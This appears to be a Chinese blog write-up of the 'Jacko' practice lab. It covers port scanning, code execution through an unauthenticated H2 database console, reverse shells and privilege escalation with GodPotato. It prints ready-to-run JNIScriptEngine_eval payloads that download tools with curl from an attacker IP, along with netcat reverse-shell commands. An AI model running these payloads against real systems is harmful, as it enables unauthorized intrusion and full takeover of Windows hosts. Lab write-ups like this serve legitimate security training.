当前位置: 首页 > news >正文

靶场(二十)---靶场体会小白心得 ---jacko

 老样子开局先看端口,先看http端口

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: H2 Database Engine (redirect)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
8082/tcp  open  http          H2 database http console
|_http-title: H2 Console
9092/tcp  open  XmlIpcRegSvc?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9092-TCP:V=7.95%I=7%D=6/7%Time=6843AA78%P=x86_64-pc-linux-gnu%r(NUL
SF:L,516,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\0R\0e\0m\0o\0
SF:t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\
SF:0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l
SF:\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0
SF:h\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x024\0o\0r\0g\0\.\0h\x002\0\.
SF:\0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0N\0o\0n\0T\0r\0a\0n\0s\0i\0e\0n\
SF:0t\0C\0o\0n\0n\0e\0c\0t\0i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0p\0t\0i\0o\0n\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0
SF:\.\0j\0a\0v\0a\0:\x006\x001\x007\0\)\0\r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0
SF:\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0
SF:n\0\.\0g\0e\0t\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0
SF:b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x004\x002\x007\0\)\0\r\
SF:0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0
SF:D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0
SF:t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x002\x000\x005\0\)\0\r\0\n\0\t\0a\0t\0\x2
SF:0\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-06-07T02:59:35
|_  start_date: N/A

 80端口无突出点,但是8082端口有个连接数据库的登录界面,先直接尝试连接,发现可以直接登录

然后顺便发现了有一个注入远控的命令exp,只需要复制粘贴即可

这里直接展示成果,证明exp可以用

然后就是直接下nc.exe,虽然底下爆红了,但是可以看到有下载回显,但是需要注意的点得有具体的下载位置

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/nc64.exe -o c:\\users\\tony\\nc.exe").getInputStream()).useDelimiter("\\Z").next()');

这里可以看到下载成功了

然后就是直接利用绝对路径进行反连

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("c:\\users\\tony\\nc.exe 192.168.49.53 3344 -e cmd").getInputStream()).useDelimiter("\\Z").next()');

这里也是可以看到可以成功拿到shell

 当然如果你不想用tony这个绝对路径,也可以用public这个地方的绝对路径也行

再然后就是在拿到shell之后,我们发现无法下载东西,推测shell受到了限制,但是exe程序可以运行,所以我采取了原先上传nc.exe命令,回到原先的web界面执行下载

也就是执行这个界面,用这个命令下载winpeas和其他利用工具

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/winPEASx64.exe -o c:\\users\\tony\\winPEASx64.exe").getInputStream()).useDelimiter("\\Z").next()');

然后在受害机上执行winpeas工具,发现了可以使用烂土豆提权

再执行相同的操作,上传godpotato

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/GodPotato-NET4.exe -o c:\\users\\tony\\GodPotato-NET4.exe").getInputStream()).useDelimiter("\\Z").next()');

这里可以看到工具成功上传

 然后执行godpotato

GodPotato-NET4.exe -cmd "nc.exe 192.168.49.53 1234 -e cmd.exe"

最后也是成功拿到管理员权限

 结尾:

这个靶场还是出乎意料的简单,唯一的需要注意的点可能就是下载利用工具比较费劲,但是看到别人的wp跟我的利用手法有点区别,后面感兴趣的话我可以再做额外补充

工具链接:

Release Release refs/heads/master 20250601-88c7a0f6 · peass-ng/PEASS-ng

 Release V1.20 · BeichenDream/GodPotato

H2 Database 1.4.199 - JNI Code Execution - Java local Exploit

Online - Reverse Shell Generator

相关文章:

  • 华为云Flexus+DeepSeek征文|体验华为云ModelArts快速搭建Dify-LLM应用开发平台并创建自己的自定义聊天助手
  • 嵌入式学习笔记 - freeRTOS xTaskResumeAll( )函数解析
  • 足球赛事接口:选择最专业的服务商!
  • 零基础在实践中学习网络安全-皮卡丘靶场(第十三期-php反序列化)
  • 传统业务对接AI-AI编程框架-Rasa的业务应用实战(番外篇2)-- Rasa 训练数据文件的清理
  • PowerShell 美化——oh-my-posh 的配置与使用
  • 家政维修平台实战16:我的订单
  • SpringBoot-16-MyBatis动态SQL标签之if和where
  • 注意力热图可视化
  • AI驱动的B端页面革命:智能布局、数据洞察的底层技术解析
  • freeRTOS 互斥量优先级继承机制函数实现xQueueGenericReceive()
  • C++课设:实现简易文件加密工具(凯撒密码、异或加密、Base64编码)
  • python版若依框架开发:集成Dash应⽤
  • Python爬虫实战:研究Unirest库相关技术
  • GIC700组件
  • 复变函数中的正弦函数:解析与可视化
  • Spring——Spring相关类原理与实战
  • 桑荫不徙 · 时之沙 | 在筛选与共生之间,向轻盈之境远航
  • 11.无重复字符的最长子串
  • 电路图识图基础知识-电动机制动控制电路(十八)
  • 帮别人做网站违法吗/长沙电商优化
  • 新乡网站推广/大型门户网站建设
  • 怎么知道公司网站是哪个公司做的/关键词搜索量查询工具
  • 如何查询网站打开速度变慢/搜索引擎广告形式有
  • 作作网站/优秀网站设计网站
  • 六日做兼职的网站/免费做网站怎么做网站链接